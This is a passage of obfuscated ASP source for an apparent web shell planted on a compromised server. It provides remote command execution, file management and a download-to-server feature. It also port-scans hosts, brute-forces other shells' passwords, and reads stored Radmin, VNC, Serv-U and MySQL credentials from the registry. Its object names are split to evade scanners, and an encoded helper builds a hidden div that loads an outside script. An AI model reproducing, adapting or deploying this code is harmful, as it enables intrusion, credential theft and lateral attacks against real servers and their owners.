Soft\Serv"+shn+"-U\Domains\DomainList\DomainList|HK"+xoncv+"LM\SYSTEM\Ra"+aumws+"dmin\v2.0\Server\Parameters\Parameter|HK"+xoncv+"LM\SYSTEM\Ra"+aumws+"dmin\v2.0\Server\Parameters\Port|HK"+xoncv+"LM\SYSTEM\Ra"+aumws+"dmin\v2.0\Server\Parameters\NT"+tpb+"AuThenabled|HK"+xoncv+"LM\SYSTEM\Ra"+aumws+"dmin\v2.0\Server\Parameters\Fil"+qrby+"terIp|HK"+xoncv+"LM\SYSTEM\Ra"+aumws+"dmin\v2.0\Server\iplist\0|HK"+xoncv+"LM\SOFTW"+wjw+"ARE\ORL\WinVNC3\default\Password|HK"+xoncv+"LM\SOFTW"+wjw+"ARE\RealVNC\WinVNC4\Password|HK"+xoncv+"LM\SOFTW"+wjw+"ARE\hzhost\config\Settings\mysqlpass|HK"+xoncv+"LM\SOFTW"+wjw+"ARE\hzhost\config\Settings\mastersvrpass|HK"+xoncv+"LM\SOFTW"+wjw+"ARE\hzhost\config\Settings\sysdbpss","|",vbCrLf)
2597If mrpwl=""Then mrpwl=Replace("x:\|x:\Program Files|x:\Program Files\Serv"+shn+"-U|x:\Program Files\RhinoSoft.com|x:\Program Files\Ra"+aumws+"dmin|x:\Program Files\Mysql|x:\Program Files\mail|x:\Program Files\winwebmail|x:\documents and Settings\All Users|x:\documents and Settings\All Users\documents|x:\documents and Settings\All Users\Start Menu\Programs|x:\documents and Settings\All Users\Application Data\Symantec\pcAnywhere|x:\Serv"+shn+"-U|x:\Ra"+aumws+"dmin|x:\Mysql|x:\mail|x:\winwebmail|x:\soft|x:\tools|x:\windows\temp","|",vbCrLf)
2598ajg"Action Others"
2599cxaqj True
2600rtas"qtylw","fgcb"
2601mwt"<b>Download to server</b><br>"
2602sodx"100%"
2603abxky 1
2604iiit"text","sesq","http://","80%","",""
2605fkv"Download","20%"
2606uemp
2607abxky 0
2608iiit"text","lqbip",lqbip,"","",""
2609echo"<td>"
2610jwik"overWri",2,"Overwrite",""
2611uemp
2612guenn
2613gbqwf
2614echo"<hr>"
2615cxaqj True
2616rtas"qtylw","grl"
2617mwt"<b>Port scan</b><br>"
2618sodx"100%"
2619abxky 1
2620doTd"Scan IP","20%"
2621iiit"text","czwfq","127.0.0.1","60%","",""
2622fkv"Scan","20%"
2623uemp
2624abxky 0
2625doTd"Port List","20%"
2626iiit"text","ugxyt","21,23,80,1433,1521,3306,3389,4899,43"+zcek+"958,65500","80%","",2
2627uemp
2628guenn
2629gbqwf
2630echo"<hr>"
2631cxaqj True
2632rtas"qtylw","axt"
2633mwt"<b>Tiny shell crack</b><br>"
2634sodx"100%"
2635abxky 1
2636doTd"Url","20%"
2637iiit"text","sesq","http://","60%","",""
2638fkv"Start","20%"
2639uemp
2640abxky 0
2641doTd"Dic","20%"
2642iiit"text","pnu","value,cmd,admin,fuck,fuckyou,go,123456,#,|,a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,~,!,@,*,$,1,2,3,4,5,6,7,8,9,0","","",""
2643echo"<td>"
2644rycpp"ccnh","60px",""
2645exhpr"asp","asp"
2646exhpr"php","php"
2647ild
2648echo"</td>"
2649uemp
2650guenn
2651gbqwf
2652echo"<hr>"
2653echo"<form method=""post"" id=""form"&ujcmu&""" action="""&cngn&""" onSubmit=""javascript:yfmde(this)"">"
2654ujcmu=ujcmu+1
2655rtas"goaction","jilq"
2656rtas"qtylw","unu"
2657mwt"<b>Stream edit</b><br>"
2658sodx"100%"
2659abxky 1
2660doTd"Path","20%"
2661iiit"text","lqbip",nzax,"60%","",""
2662fkv"Start","20%"
2663uemp
2664guenn
2665gbqwf
2666echo"<hr>"
2667cxaqj True
2668rtas"qtylw","ieqhv"
2669mwt"<b>Common path Detection</b><br>"
2670sodx"100%"
2671abxky 1
2672lhue"wannd",mrpwl,6
2673fkv"Start","20%"
2674uemp
2675guenn
2676gbqwf
2677echo"<hr>"
2678cxaqj True
2679sodx"100%"
2680rtas"qtylw","lcos"
2681mwt"<b>Registry Detection</b><br>"
2682sodx"100%"
2683abxky 1
2684lhue"aiw",yoc,6
2685fkv"Start","20%"
2686uemp
2687guenn
2688gbqwf
2689echo"<hr>"
2690Select Case qtylw
2691Case"fgcb"
2692echo"<hr>"
2693baf()
2694Case"lcos"
2695echo"<hr>"
2696taerr()
2697Case"grl"
2698echo"<hr>"
2699vny()
2700Case"axt"
2701echo"<hr>"
2702qddd()
2703Case"ieqhv"
2704echo"<hr>"
2705nzbv()
2706End Select
2707End Sub
2708Sub baf()
2709If Not ydnj Then On Error Resume Next
2710Dim gfst,ertms
2711Set nun=nfffq("Ad"+oge+"odb.Str"+chut+"eam")
2712gfst=zsz(sesq,"/")
2713If InStr(lqbip,".")<1 Then lqbip=lqbip&"\"&gfst
2714iuwq.Open"GET",sesq,False
2715iuwq.send
2716ome(Err)
2717If overWri<>2 Then
2718overWri=1
2719End If
2720With nun
2721.Type=1
2722.Mode=3
2723.Open
2724.Write iuwq.ResponseBody
2725.Position=0
2726execute "nun.Sa"&uyl&"vetoFile lqbip,overWri"
2727.Close
2728End With
2729If Err Then
2730tvnm(Err)
2731Else
2732echo"Download succeeded"
2733End If
2734End Sub
2735Sub taerr()
2736If Not ydnj Then On Error Resume Next
2737Dim tftr
2738echo"Registry key detected will be shown below:<br>"
2739sodx "100%"
2740ads=1
2741vhl
2742doTd"<b>Key</b>",""
2743doTd"<b>Value</b>",""
2744uemp
2745For Each muh in Split(aiw,Chr(10))
2746muh=Replace(muh,Chr(13),"")
2747tftr=knf(muh)
2748If tftr<>"" Then
2749abxky ads
2750doTd muh,""
2751doTd tftr,""
2752uemp
2753nrf
2754End If
2755Next
2756guenn
2757If Err Then
2758tvnm(Err)
2759End If
2760End Sub
2761Function knf(rpath)
2762Dim daxgr,tftr
2763If Not ydnj Then On Error Resume Next
2764execute "daxgr=vnznl.RegR"&ddrpj&"ead(rpath)"
2765If IsArray(daxgr)Then
2766tftr=""
2767For i=0 To UBound(daxgr)
2768If IsNumeric(daxgr(i))Then
2769If CInt(daxgr(i))<16 Then
2770tftr=tftr&"0"
2771End If
2772tftr=tftr&CStr(Hex(CInt(daxgr(i))))
2773Else
2774tftr=tftr&daxgr(i)
2775End If
2776Next
2777knf=tftr
2778Else
2779knf=daxgr
2780End If
2781End Function
2782Sub vny()
2783If Not ydnj Then On Error Resume Next
2784If Not pwzt(czwfq)Then
2785yln "Invalid IP format"
2786viwe
2787End If
2788If Not vsb(ugxyt,"^(\d{1,5},)*\d{1,5}$")Then
2789echo "Invalid port format"
2790viwe
2791End If
2792echo "Scanning...<br>"
2793Response.Flush()
2794For Each tmpip in Split(czwfq,",")
2795For Each tmpPort in Split(ugxyt,",")
2796toqvj tmpip,tmpPort
2797Next
2798Next
2799End Sub
2800Sub toqvj(patae,pfj)
2801On Error Resume Next
2802Dim conn,ihk
2803Set conn=nfffq("Ad"+oge+"odb.Connecti"+wehbe+"on")
2804ihk="Provider=SQLOLEDB.1;Data Source="&patae&","&pfj&";User ID=lake2;Password=lake2;"
2805conn.ConnectionTimeout=1
2806conn.open ihk
2807If Err Then
2808If Err.number=-2147217843 or Err.number=-2147467259 Then
2809If InStr(Err.description,"(Connect()).")>0 Then
2810echo"<label>"&patae&":"&pfj&"</label><label>close</label><br>"
2811Else
2812echo"<label>"&patae&":"&pfj&"</label><label><font color=red>open</font></label><br>"
2813End If
2814Response.Flush()
2815End If
2816End If
2817End Sub
2818Sub qddd()
2819If Not ydnj Then On Error Resume Next
2820echo"Cracking...<br>"
2821Response.Flush()
2822For Each strPass in Split(pnu,",")
2823If ccnh="asp"Then
2824strpam=nwtcn(strPass)&"="&nwtcn("response.write 98611")
2825Else
2826strpam=nwtcn(strPass)&"="&nwtcn("echo 98611;")
2827End If
2828If InStr(rvi(sesq&"?"&strpam,"POST"),"98611")>0 Then
2829echo"Password is <font color=red>"&strPass&"</font> ^_^"
2830viwe
2831End If
2832Next
2833echo"Crack failed,RPWT?"
2834tvnm(Err)
2835End Sub
2836Sub nzbv()
2837If Not ydnj Then On Error Resume Next
2838Dim vhyzu,xad
2839echo"Path detected will be shown below:<br>"
2840wannd=Replace(wannd,"x:\","")
2841xad=1
2842For Each drive in xjab.Drives
2843For Each muh in Split(wannd,vbCrLf)
2844execute "vhyzu=drive.DriveL"&uocpb&"etter&"":\""&muh"
2845If xjab.FolderExists(vhyzu)Then
2846gfk xad
2847injj "veerr","",clwc(vhyzu),vhyzu,""
2848echo"</span>"
2849xad=xad+1
2850If xad=2 Then xad=0
2851vldnv.MoveNext
2852Response.Flush()
2853End If
2854Next
2855Next
2856tvnm(Err)
2857End Sub
2858Sub mddep()
2859Response.Cookies(fjjxv)=""
2860Response.Cookies(wseta&"ihk")=""
2861Response.Cookies(fjjxv).expires=Now
2862Response.Cookies(wseta&"ihk").expires=Now
2863Response.Redirect(cngn&"?goaction="&amb)
2864End Sub
2865Sub ajg(porw)
2866%>
2867<html>
2868<head>
2869<title><%=mvvi%></title>
2870<style type="text/css">
2871body,td{font: 12px Arial,Tahoma;line-height: 16px;}
2872.main{width:100%;padding:20px 20px 20px 20px;}
2873.hidehref{font:12px Arial,Tahoma;color:#646464;}
2874.showhref{font:12px Arial,Tahoma;color:#0099FF;}
2875.input{font:12px Arial,Tahoma;background:#fff;height:20px;BORDER-WIDTH:1px;}
2876.text{font:12px Arial,Tahoma;background:#fff;padding:1px;BORDER-WIDTH:1px;}
2877.tdInput{font:12px Arial,Tahoma;background:#fff;padding:1px;height:20px;width:100%;BORDER-WIDTH:1px;}
2878.tdText{font:12px Arial,Tahoma;background:#fff;padding:1px;width:100%;BORDER-WIDTH:1px;}
2879.area{font:12px 'Courier New',Monospace;background:#fff;border: 1px solid #666;padding:2px;}
2880.frame{font:12px Arial,Tahoma;border:1px solid #ddd;width:100%;height:400px;padding:1px;}
2881a{color: #00f;text-decoration:underline;}
2882a:hover{color: #f00;text-decoration:none;}
2883.alt1Span{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e6e8ea;padding:6px 10px 0px 5px;min-height:25px;width:100%;display:block}
2884.alt0Span{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#fbfcfd;padding:6px 10px 0px 5px;min-height:25px;width:100%;display:block}
2885.link td{border-top:1px solid #fff;border-bottom:1px solid #ccc;background:#e0e2e6;padding:5px 10px 5px 5px;}
2886.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e6e8ea;padding:2px 10px 2px 5px;height:28px}
2887.alt0 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#fbfcfd;padding:2px 10px 2px 5px;height:28px}
2888.focusTr td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#d9dbdf;padding:2px 10px 2px 5px;height:28px}
2889.head td{border-top:1px solid #ccc;border-bottom:1px solid #bbb;background:#d9dbdf;padding:5px 10px 5px 5px;font-weight:bold;}
2890form{margin:0;padding:0;}
2891.bt{border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:23px;padding:0 6px;}
2892h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
2893ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
2894u{text-decoration: none;color:#777;float:left;display:block;width:50%;margin-right:10px;}
2895label{font:12px Arial,Tahoma;float:left;width:20%;}
2896.lbl{font:12px Arial,Tahoma;float:none;width:auto;}
2897</style>
2898<script>
2899var sjk='';function bik(obj){var sender=event.srcElement;if(obj.style.display=='none'){obj.style.display='';sender.className='showhref';}else{obj.style.display='none';sender.className='hidehref';}}function tort(){form2.qtylw.value="msbca";form2.submit();}function qjr(lfy,crlb,Str){var renStr;actForm.goaction.value=lfy;actForm.qtylw.value=crlb;if((lfy=="veerr"||lfy=="jilq"||lfy=="jzp")&&Str&&Str.indexOf(":\\")<0&&Str.substr(0,2)!="\\\\"){objpath=document.getElementById('brwr');if(objpath){Str=objpath.value+Str;}}actForm.gwk.value=miig(Str);switch(crlb){case"omtw":yfmde(document.getElementById('upform'));upform.submit();break;case"fomgk":yfmde(document.getElementById('saform'));saform.submit();break;case"ttg":case"vseta":case"wma":case"plz":case"strwh":case"swxiy":case"ezemc":switch(crlb){case"wma":case"vseta":renStr=prompt("Move to :",dzzx(Str,"\\",false));break;case"plz":case"ttg":renStr=prompt("Copy to :",dzzx(Str,"\\",false));break;case"strwh":case"swxiy":renStr=prompt("Rename as :",zsz(Str,"\\"));if(crlb=="strwh"){while(renStr.indexOf(".")<0&&renStr){renStr=prompt("Invalid file name format!",zsz(Str,"\\"));}}break;}if(!renStr){return;}actForm.gwk.value=miig(Str+"|"+renStr);actForm.submit();break;case"dprl":case"eyq":if(confirm("Delete "+Str+"?Are you sure?")){actForm.submit();}break;default:actForm.submit();break;}}function miig(pamToEn){if(!<%=Lcase(CStr(pipu))%>||!pamToEn){return(pamToEn);}var tt="";for(var i=0;i<pamToEn.length;i++){tt+=(pamToEn.charCodeAt(i)+<%=iycew%>)+"<%=csj%>";}return(tt.substr(0,tt.length-1));}function yfmde(xgqlo){var pamArr="<%=jsrfr%>".split("|");for(var i=0;i<pamArr.length;i++){if(xgqlo.elements[pamArr[i]]){xgqlo.elements[pamArr[i]].value=miig(xgqlo.elements[pamArr[i]].value);}}}function vtbqk(){if(ghpc.checked){ogda.value=miig(ogda.value);}else{ogda.value=mdez(ogda.value);}}function thra(){inl.document.body.innerHTML="<form name=frm method=post action='?'><input type=hidden name=goaction value='<%=goaction%>' /><input type=hidden name='qtylw' value='viewResult'/><input type=hidden name='uwrty' value='"+miig(form1.ihyn.value.substr(form1.ihyn.value.indexOf(">")+1).replace(/(^[\s]*)|([\s]*$)/g,""))+"'/></form>";inl.document.frm.submit();}function abckx(crlb,ihk,ybgqm,rxg,fkho){sqlForm.qtylw.value=crlb;if(crlb=="usa"){if(!confirm("Delete this table?Are you sure?")){return;}}if(ihk){if(ihk.toLowerCase().indexOf("=")<0){ihk="<%=xop("")%>"+brwr.value+ihk;}sqlForm.ihk.value=ihk;}sqlForm.ihk.value=miig(sqlForm.ihk.value);sqlForm.ybgqm.value=miig(ybgqm);sqlForm.rxg.value=miig(rxg);sqlForm.fkho.value=fkho;sqlForm.submit();}function tywoa(server,user,pass,db,sspi){if(sspi){form1.ihk.value="PROVIDER=SQLOLEDB;DATA SOURCE="+server+";DATABASE="+db+";Integrated Security=SSPI";}else{form1.ihk.value="PROVIDER=SQLOLEDB;DATA SOURCE="+server+";UID="+user+";PWD="+pass+";DATABASE="+db;}}function kew(dbpath){form1.ihk.value="<%=xop("")%>"+dbpath;}function cmxd(){var pamArr="<%=jsrfr%>".split("|");var reg=/^([\d]+\<%=csj%>)+[\d]+$/;for(var i=0;i<document.forms.length;i++){var xgqlo=document.forms[i];for(var j=0;j<pamArr.length;j++){if(xgqlo.elements[pamArr[j]]){xgqlo.elements[pamArr[j]].value=mdez(xgqlo.elements[pamArr[j]].value);}}}}function mdez(otrjv){if(!<%=Lcase(CStr(pipu))%>||!otrjv||!otrjv.match(/^(\d+\<%=csj%>)+\d+$/)){return(otrjv);}var dd="";var tcpo=otrjv.split("<%=csj%>");for(var i=0;i<tcpo.length;i++){if(tcpo[i].match(/^\d+$/)){dd+=String.fromCharCode(tcpo[i]-<%=iycew%>);}else{dd+=tcpo(i);}}return(dd);}function vszds(arr,str){for (i=0;i<arr.length;i++){if(arr(i)==str){return true;}}return false;}function dzzx(str,isbbo,liujq){if(!str||str.indexOf(isbbo)<0){return(str);}if(liujq){return(str.substr(0,str.indexOf(isbbo)));}else{return(str.substr(0,str.lastIndexOf(isbbo)));}}function zsz(str,isbbo){if(!str||str.indexOf(isbbo)<0){return(str);}return(str.substr(str.lastIndexOf(isbbo)+1));}
2900</script>
2901</head>
2902<body style="margin:0;table-layout:fixed; word-break:break-all;"bgcolor="#fbfcfd">
2903<table width="100%"border="0"cellpadding="0"cellspacing="0">
2904<tr class="head">
2905<td style="width:30%"><br><%=ramoi("LOCAL_ADDR")&"("&lkyy&")"%></td>
2906<td align="center" style="width:40%"><br>
2907<b><%opa mvvi,"#0099FF","3"%></b><br>
2908</td>
2909<td style="width:30%"align="right"><%=xqai()%></td>
2910</tr>
2911<form id="actForm"method="post"action="<%=cngn%>">
2912<input type="hidden" id="goaction" name="goaction" value="">
2913<input type="hidden" id="qtylw" name="qtylw" value="">
2914<input type="hidden" id="gwk" name="gwk" value="">
2915</form>
2916<form id="sqlForm"method="post"action="<%=cngn%>">
2917<input type="hidden" id="goaction" name="goaction" value="kbqxz">
2918<input type="hidden" id="qtylw" name="qtylw" value="">
2919<input type="hidden" id="ihk" name="ihk" value="<%=ihk%>">
2920<input type="hidden" id="ybgqm" name="ybgqm" value="">
2921<input type="hidden" id="rxg" name="rxg" value="">
2922<input type="hidden" id="fkho" name="fkho" value="">
2923</form>
2924<%
2925If uwdvh Then
2926%>
2927<tr class="link">
2928<td colspan="3">
2929<a href="javascript:qjr('lfx','','');">Server Info</a> | 
2930<a href="javascript:qjr('bapis','','');">Object Info</a> | 
2931<a href="javascript:qjr('eyb','','');">User Info</a> | 
2932<a href="javascript:qjr('fbk','','');">C-S Info</a> | 
2933<a href="javascript:qjr('zzajv','','');">WS Execute</a> | 
2934<a href="javascript:qjr('rwumm','','');">App Execute</a> | 
2935<a href="javascript:qjr('veerr','','');">FSO File</a> | 
2936<a href="javascript:qjr('jilq','','');">App File</a> | 
2937<a href="javascript:qjr('kbqxz','','');">DataBase</a> | 
2938<a href="javascript:qjr('jzp','','');">File Packager</a> | 
2939<a href="javascript:qjr('dkdl','','');">File Searcher</a> | 
2940<a href="javascript:qjr('ide','','');">ServU Exp</a> | 
2941<a href="javascript:qjr('rcjqh','','');">Scan Shells</a> | 
2942<a href="javascript:qjr('gbe','','');">Some Others...</a> | 
2943<a href="javascript:qjr('Logout','','');">Logout</a> | 
2944<a href="javascript:cmxd();">Decode</a>
2945</td>
2946</tr>
2947<%
2948End If
2949%></table>
2950<table width="100%"><tr><td class="main"><br>
2951<%
2952echo"<b>"
2953opa porw&"&raquo;","#0099ff","2"
2954mwt"</b><br><br>"
2955End Sub
2956Sub grh()
2957Dim sqx
2958sqx=dzzx(ramoi("PATH_INFO"),"/",False)
2959echo rvi("http://"&lkyy&sqx&"/"&echs&"?"&ramoi("QUERY_STRING"),"GET")
2960response.End
2961End Sub
2962Sub btsva(vzznl,ifcyx)
2963Dim dyb
2964If Not ydnj Then On Error Resume Next
2965echo"<li><u>"&vzznl
2966If ifcyx<>""Then
2967echo"(Object "&ifcyx&")"
2968End If
2969echo"</u>"
2970If Err Then Err.Clear
2971Set dyb=nfffq(vzznl)
2972If Err Then
2973opa mszsa("Disabled"),"red",""
2974Else
2975opa mszsa("Enabled  "),"green",""
2976echo"Version:"&dyb.Version&";"
2977echo"About:"&dyb.About
2978End If
2979echo"</li>"
2980If Err Then Err.Clear
2981Set dyb=Nothing
2982End Sub
2983Sub etndu(zknc)
2984Dim User,pvbv,ekf
2985If Not ydnj Then On Error Resume Next
2986Set User=getObj("WinNT://./"&zknc&",user")
2987pvbv=User.Get("UserFlags")
2988ekf=User.LastLogin
2989abxky 0
2990doTd"Description","20%"
2991doTd User.Description,"80%"
2992uemp
2993abxky 1
2994doTd"Belong to",""
2995doTd sbbo(zknc),""
2996uemp
2997abxky 0
2998doTd"Password expired","20%"
2999doTd CBool(User.Get("PasswordE"+aanza+"xpired")),"80%"
3000uemp
3001abxky 1
3002doTd"Password never expire",""
3003doTd cbool(pvbv And&H10000),""
3004uemp
3005abxky 0
3006doTd"Can't change password",""
3007doTd cbool(pvbv And&H00040),""
3008uemp
3009abxky 1
3010doTd"Global-group account",""
3011doTd cbool(pvbv And&H100),""
3012uemp
3013abxky 0
3014doTd"Password length at least",""
3015execute "doTd User.PasswordMini"&njwg&"mumLength,"""""
3016uemp
3017abxky 1
3018doTd"Password required",""
3019doTd User.PasswordRequired,""
3020uemp
3021abxky 0
3022doTd"Account disabled",""
3023execute "doTd User.A"&vxdx&"ccountDisabled,"""""
3024uemp
3025abxky 1
3026doTd"Account locked",""
3027execute "doTd User.IsA"&puryf&"ccountLocked,"""""
3028uemp
3029abxky 0
3030doTd"User profile",""
3031doTd User.Profile,""
3032uemp
3033abxky 1
3034doTd"User loginscript",""
3035doTd User.LoginScript,""
3036uemp
3037abxky 0
3038doTd"Home directory",""
3039doTd User.HomeDirectory,""
3040uemp
3041abxky 1
3042doTd"Home drive",""
3043doTd User.Get("HomeDirDri"+icuro+"ve"),""
3044uemp
3045abxky 0
3046doTd"Last login",""
3047doTd ekf,""
3048uemp
3049If Err Then Err.Clear
3050End Sub
3051Function sbbo(zknc)
3052Dim ogs,yyjd
3053Set ogs=getObj("WinNT://./"&zknc&",user")
3054For Each yyjd in ogs.Groups
3055sbbo=sbbo&" "&yyjd.Name
3056Next
3057End Function
3058Function tpcq(lqbip)
3059If Not ydnj Then On Error Resume Next
3060execute "Set objCountFile=xjab.OpenTextFi"&uwpv&"le(lqbip,1,True)"
3061execute "tpcq=Replace(CStr(objCountFile.ReadA"&kba&"ll),Chr(0),"" "")"
3062objCountFile.Close
3063Set objCountFile=Nothing
3064End Function
3065Function rchgv(lqbip)
3066If Not ydnj Then On Error Resume Next
3067Set nun=nfffq("Ad"+oge+"odb.Str"+chut+"eam")
3068With nun
3069.Type=2
3070.Mode=3
3071.Open
3072.LoadFromFile lqbip
3073If qtylw="tzsaq" Then
3074.CharSet="utf-8"
3075Else
3076.CharSet=alqp
3077End If
3078.Position=2
3079rchgv=Replace(CStr(.ReadText()),Chr(0)," ")
3080.Close
3081End With
3082Set nun=Nothing
3083End Function
3084Sub woli(lqbip,ogda,bku)
3085If Not ydnj Then On Error Resume Next
3086Set nun=nfffq("Ad"+oge+"odb.Str"+chut+"eam")
3087With nun
3088.Type=bku
3089.Mode=3
3090.Open
3091If qtylw="evwr"Then
3092.CharSet="utf-8"
3093ElseIf qtylw="Save"Then
3094.CharSet=alqp
3095End If
3096If bku=2 Then
3097.WriteText ogda
3098Else
3099.Write ogda
3100End If
3101execute "nun.Sav"&ehyx&"etoFile lqbip,2"
3102.Close
3103End With
3104Set nun=Nothing
3105End Sub
3106Sub ekg(lqbip,ogda)
3107Dim theFile
3108execute "Set theFile=xjab.OpenTextFi"&xxic&"le(lqbip,2,True)"
3109theFile.Write ogda
3110theFile.Close
3111Set theFile=Nothing
3112End Sub
3113Sub xhsy()
3114If Not ydnj Then On Error Resume Next
3115If mhvec="file"Then
3116lqbip=lqbip&"\"&exte
3117execute "Call xjab.CreateTextF"&vepv&"ile(lqbip,False)"
3118unu
3119Else
3120execute "xjab.Creat"&fmddd&"eFolder(lqbip&""\""&exte)"
3121End If
3122If Err Then
3123tvnm(Err)
3124Else
3125yln"File/folder created"
3126End If
3127End Sub
3128Sub ohcrx()
3129Dim wabnd,phebk,pnhl,tlk
3130If Not ydnj Then On Error Resume Next
3131lqbip=dzzx(gwk,"|",False)
3132wabnd=zsz(gwk,"|")
3133If InStr(lqbip,"\")<1 Then lqbip=lqbip&"\"
3134Dim theFile,fileName,theFolder
3135If lqbip=""Or wabnd=""Then
3136yln"Parameter wrong!"
3137Exit Sub
3138End If
3139If iij="fso"Then
3140If qtylw="renamefolder"Then
3141Set theFolder=xjab.GetFolder(lqbip)
3142theFolder.Name=wabnd
3143Set theFolder=Nothing
3144Else
3145Set theFile=xjab.GetFile(lqbip)
3146theFile.Name=wabnd
3147Set theFile=Nothing
3148End If
3149Else
3150tlk=zsz(lqbip,"\")
3151pnhl=dzzx(lqbip,"\",False)
3152execute "Set phebk=zjhor.NameSpac"&vpg&"e(pnhl)"
3153Set tywoo=phebk.ParseName(tlk)
3154tywoo.Name=wabnd
3155End If
3156If Err Then
3157tvnm(Err)
3158Else
3159yln"Rename completed"
3160End If
3161End Sub
3162Sub usxi()
3163If Not ydnj Then On Error Resume Next
3164If qtylw="eyq"Then
3165execute "Call xjab.Dele"&jbnby&"teFolder(lqbip,True)"
3166Else
3167execute "Call xjab.Delet"&mqsyf&"eFile(lqbip,True)"
3168End If
3169If Len(lqbip)=2 Then lqbip=lqbip&"\"
3170If Err Then
3171tvnm(Err)
3172Else
3173yln"File/folder deleted"
3174End If
3175End Sub
3176Sub rumla()
3177Dim uezoi,bpz,jxjkg,wkic,ebx
3178If Not ydnj Then On Error Resume Next
3179lqbip=Left(gwk,Instr(gwk,"|")-1)
3180bpz=Mid(gwk,InStr(gwk,"|")+1)
3181If lqbip=""Or bpz=""Then
3182yln"Parameter wrong!"
3183Exit Sub
3184End If
3185If xjab.FolderExists(bpz)And Right(bpz,1)<>"\" Then bpz=bpz&"\"
3186Select Case qtylw
3187Case"ttg"
3188execute "Call xjab.Co"&ygvp&"pyFolder(lqbip,bpz)"
3189Case"plz"
3190execute "Call xjab.Cop"&onn&"yFile(lqbip,bpz)"
3191Case"vseta"
3192execute "Call xjab.Mo"&ofe&"veFolder(lqbip,bpz)"
3193Case"wma"
3194'echo lqbip&"||"&bpz
3195execute "Call xjab.Mo"&wert&"veFile(lqbip,bpz)"
3196End Select
3197If Err Then
3198tvnm(Err)
3199Else
3200yln"File/folder copyed/moved"
3201End If
3202End Sub
3203Function pwzt(gwoi)
3204pwzt=vsb(gwoi,"^((\d{1,3}\.){3}(\d{1,3}),)*(\d{1,3}\.){3}(\d{1,3})$")
3205End Function
3206Sub cqbv()
3207Response.Clear
3208If Not ydnj Then On Error Resume Next
3209Dim fileName,awila
3210fileName=zsz(lqbip,"\")
3211Set nun=nfffq("Ad"+oge+"odb.Str"+chut+"eam")
3212nun.Open
3213nun.Type=1
3214execute "nun.LoadFrom"&uwbp&"File(lqbip)"
3215tvnm(Err)
3216Session.CodePage=936
3217Response.Status="200 OK"
3218Response.AddHeader"Content-Disposition","Attachment; Filename="&fileName
3219Session.CodePage=65001
3220Response.AddHeader"Content-Length",nun.Size
3221Response.ContentType="Application/Octet-Stream"
3222Response.BinaryWrite nun.Read
3223Response.Flush()
3224nun.Close
3225Set nun=Nothing
3226End Sub
3227Function iuws(site,zyco)
3228iuws=dhkcb("80_120_125_138_52_135_136_141_128_121_81_59_120_125_135_132_128_117_141_78_130_131_130_121_59_82_80_135_119_134_125_132_136_52_135_134_119_81_59")+site+zyco+dhkcb("59_82_80_67_135_119_134_125_132_136_82_80_67_120_125_138_82")
3229End Function
3230Class upload_5xsoft
3231Dim xgqlo,eyr
3232Public Function Form(vzm)
3233vzm=Lcase(vzm)
3234If Not xgqlo.exists(vzm) Then
3235Form=""
3236Else
3237Form=xgqlo(vzm)
3238End If
3239End Function
3240Public Function File(strFile)
3241If Not ydnj Then On Error Resume Next
3242strFile=Lcase(strFile)
3243If not eyr.exists(strFile) Then
3244Set File=new FileInfo
3245Else
3246Set File=eyr(strFile)
3247End If
3248End Function
3249Private Sub Class_Initialize
3250If Not ydnj Then On Error Resume Next
3251Dim dirsq,qjrv,vbCrLf,vukc,wyt,lzk,sfr,ebyus,theFile
3252Dim ugxm,tda,yahb,ejg,cgj
3253Dim aphr,mgjnb
3254Dim iwvv,fsun,zsby
3255Set xgqlo=nfffq("Scriptin"+xfw+"g.Dictionary")
3256Set eyr=nfffq("Scriptin"+xfw+"g.Dictionary")
3257If Request.TotalBytes<1 Then Exit Sub
3258Set sfr=nfffq("Ad"+oge+"odb.Str"+chut+"eam")
3259Set nun=nfffq("Ad"+oge+"odb.Str"+chut+"eam")
3260nun.Type=1
3261nun.Mode=3
3262nun.Open
3263nun.Write Request.BinaryRead(Request.TotalBytes)
3264nun.Position=0
3265dirsq=nun.Read
3266iwvv=1
3267fsun=LenB(dirsq)
3268vbCrLf=chrB(13)&chrB(10)
3269qjrv=MidB(dirsq,1,InStrB(iwvv,dirsq,vbCrLf)-1)
3270ebyus=LenB(qjrv)
3271iwvv=iwvv+ebyus+1
3272While(iwvv+10)<fsun 
3273lzk=InStrB(iwvv,dirsq,vbCrLf & vbCrLf)+3
3274sfr.Type=1
3275sfr.Mode=3
3276sfr.Open
3277nun.Position=iwvv
3278nun.CopyTo sfr,lzk-iwvv
3279sfr.Position=0
3280sfr.Type=2
3281sfr.CharSet=alqp
3282vukc=sfr.ReadText
3283sfr.Close
3284iwvv=InStrB(lzk,dirsq,qjrv)
3285aphr=InStr(22,vukc,"name=""",1)+6
3286mgjnb=InStr(aphr,vukc,"""",1)
3287zsby=Lcase(Mid(vukc,aphr,mgjnb-aphr))
3288If InStr(45,vukc,"filename=""",1) > 0 Then
3289Set theFile=new FileInfo
3290aphr=InStr(mgjnb,vukc,"filename=""",1)+10
3291mgjnb=InStr(aphr,vukc,"""",1)
3292cgj=Mid(vukc,aphr,mgjnb-aphr)
3293theFile.FileName=davu(cgj)
3294theFile.FilePath=emd(cgj)
3295theFile.znvw=vvvga(cgj)
3296aphr=InStr(mgjnb,vukc,"Content-Type: ",1)+14
3297mgjnb=InStr(aphr,vukc,vbCr)
3298theFile.FileType =Mid(vukc,aphr,mgjnb-aphr)
3299theFile.rmpry =lzk
3300theFile.FileSize=iwvv-lzk-3
3301theFile.uaw=zsby
3302If not eyr.Exists(zsby)Then
3303eyr.add zsby,theFile
3304End If
3305Else
3306sfr.Type =1
3307sfr.Mode =3
3308sfr.Open
3309nun.Position=lzk 
3310nun.CopyTo sfr,iwvv-lzk-3
3311sfr.Position=0
3312sfr.Type=2
3313sfr.CharSet =alqp
3314ejg=sfr.ReadText 
3315sfr.Close
3316If xgqlo.Exists(zsby) Then
3317xgqlo(zsby)=xgqlo(zsby)&","&ejg
3318Else
3319xgqlo.Add zsby,ejg
3320End If
3321End If
3322iwvv=iwvv+ebyus+1
3323wEnd
3324dirsq=""
